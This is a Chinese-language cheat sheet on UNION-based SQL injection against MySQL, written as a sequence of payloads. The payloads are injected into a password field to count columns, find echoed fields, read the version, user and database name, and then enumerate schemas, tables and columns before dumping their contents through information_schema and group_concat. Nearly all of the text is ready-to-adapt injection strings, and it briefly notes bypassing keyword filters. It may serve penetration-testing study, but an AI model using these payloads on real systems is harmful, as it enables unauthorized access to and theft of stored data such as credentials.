利用UNION 操作符组合多个语句查询结果收集想要获取的信息

注意:本篇内容以 MySQL 为例,并不完全适用于其他数据库。若存在关键字过滤,需进行对应绕过。

information_schema 库

MySQL(5.0以上版本) 自带的信息数据库,提供了访问数据库元数据的方式

记录所有表名信息的表:information_schema.tables

记录所有列名信息的表:information_schema.columns

数据库名:table_schema

表名:table_name

列名:column_name

枚举字段数

利用 order by 关键词对字段名在表内的默认顺序进行排序确认字段是否存在,如1,2,……,n。当枚举至 n 时出现报错,则共有 n-1 个字段。

password=-1' order by 1,2,3,n #

确认回显字段

利用 union select 确认回显字段

password=-1' union select 1,2,3,n #

收集数据库基础信息

操作系统 --> @@version_compile_os

数据库信息 --> version()

数据库用户 --> user()

数据库名 --> database()

通过与可回显字段替换实现相应查询

password=-1' union select version(),database(),3,n #

收集表名

password=-1' union select group_concat(table_name),2,3,n from information_schema.tables where table_schema=database() #

收集字段名

password=-1' union select group_concat(column_name),2,3,n from information_schema.columns where table_schema=database() and table_name='table name' #

收集对应数据

password=-1' union select group_concat(column name 1,column name 2,column name 3),2,3,n from table name #

利用 information_schema

收集所有数据库名

password=-1' union select group_concat(schema_name),2,3,n from information_schema.schemata #

收集指定数据库的表名

password=-1' union select group_concat(table_name)2,3,n from information_schema.tables where table_schema='schema name' #

收集指定数据库指定表的字段名

password=-1' union select group_concat(column_name),2,3,n from information_schema.columns where table_name='table name' and table_schema='schema name' #

收集指定数据库指定表的指定字段信息

password=-1' union select group_concat(column name 1,column name 2,column name 3),2,3,n from schema name.table name #